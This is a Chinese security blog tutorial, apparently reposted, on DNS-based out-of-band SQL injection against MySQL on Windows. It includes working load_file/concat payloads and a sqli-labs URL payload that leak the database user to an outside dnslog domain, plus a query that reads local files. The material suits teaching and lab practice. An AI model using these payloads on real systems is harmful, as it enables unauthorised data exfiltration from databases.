利用DNS实现SQL注入带外查询(OOB)

admin 2023年1月4日09:38:56评论107 views字数 2049阅读6分49秒阅读模式

根据用于数据检索的传输信道,SQLi可分为三个独立的类别:inference(经典SQL注入),inband(盲注、推理注入、带内注入)和out-of-band

一、什么是OOB

out-of-band带外数据(OOB)与inband相反,它是一种通过其他传输方式来窃取数据的技术(例如利用DNS解析协议和电子邮件)。OOB技术通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器(DNS)中提取数据,则被认为是最隐蔽有效的方法。

二、利用原理

1、常规SQL注入,获取服务器信息的方式

利用DNS实现SQL注入带外查询(OOB)

2、SQL注入利用DNS获取查询结果(OOB)

我们需要一个三级域名服务器(nameserver)也是DNS服务器(DNS Server),也就是下图的schloar服务器。
还需要配置域名“www.scholar.com”对应的解析IP地址为“schloar服务器”的IP地址。
这样就能够实时地监控域名查询请求了,图示如下:

利用DNS实现SQL注入带外查询(OOB)

三、利用条件

需要windows环境

1、DBMS中需要有可用的,能直接或间接引发DNS解析过程的子程序,即使用到UNC

2、Linux没有UNC路径,所以当处于Linux环境,不能使用该方式获取数据

四、环境搭建

1、Windwos操作系统

2、Mysql数据库服务

3、互联网上有已经准备好的域名服务器和DNS服务器环境

DNSLog.cn

CEYE

五、OOB复现

1、首先打开DNSLog.cn网站

利用DNS实现SQL注入带外查询(OOB)

2、打开windows客户端DOS


ping q5i9by.dnslog.cn


结果如下图:

利用DNS实现SQL注入带外查询(OOB)

3、进入Windows客户端Mysql服务


Go

select load_file("////xxx.q5i9by.dnslog.cn//x.txt");
select load_file(concat("\\",user(),".q5i9by.dnslog.cn//aa.txt"));


利用DNS实现SQL注入带外查询(OOB)

注:

1、\转义后即为

2、concat将(1,2,3)拼接在一起形成123


六、利用SQL注入漏洞外带查询

直接上payload


Go

http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' and load_file(concat("\\",user(),".gq95nz.dnslog.cn\xxx.txt"))--


利用DNS实现SQL注入带外查询(OOB)

利用DNS实现SQL注入带外查询(OOB)

七、OOB引申的扩展知识

1、Mysql内置函数load_file()不仅能对www.test.com这样的URL发起请求,还能够加载本地文件,如下:


Go

select load_file("C:\WINDOWS\system32\drivers\etc\hosts");


利用DNS实现SQL注入带外查询(OOB)

show variables like '%secure%';查看load_file()可以读取的磁盘。

(1)当secure_file_priv为空,就可以读取磁盘的目录。

(2)当secure_file_priv为G:,就可以读取G盘的文件。

(3)当secure_file_priv为null,load_file就不能加载文件。

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

利用DNS实现SQL注入带外查询(OOB)

2、不同DBMS中使用的方法,参考如下链接
https://blog.csdn.net/u014029795/article/details/105214129

3、UNC定义
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似softer这样的形式的网络路径
格式:servernamesharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:servernamesharenamedirectoryfilename

参考链接

https://blog.csdn.net/u014029795/article/details/105214129
https://www.freebuf.com/articles/web/201013.html
https://www.cnblogs.com/-qing-/p/10623583.html

转自:全栈网络空间安全

如有侵权,请联系删除

利用DNS实现SQL注入带外查询(OOB)

好文推荐

利用DNS实现SQL注入带外查询(OOB)
红队打点评估工具推荐
干货|红队项目日常渗透笔记
实战|后台getshell+提权一把梭
一款漏洞查找器(挖漏洞的有力工具)
神兵利器 | 附下载 · 红队信息搜集扫描打点利器
神兵利器 | 分享 直接上手就用的内存马(附下载)
推荐一款自动向hackerone发送漏洞报告的扫描器

欢迎关注 系统安全运维

原文始发于微信公众号(系统安全运维):利用DNS实现SQL注入带外查询(OOB)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月4日09:38:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用DNS实现SQL注入带外查询(OOB)https://cn-sec.com/archives/1497560.html

发表评论

匿名网友 填写信息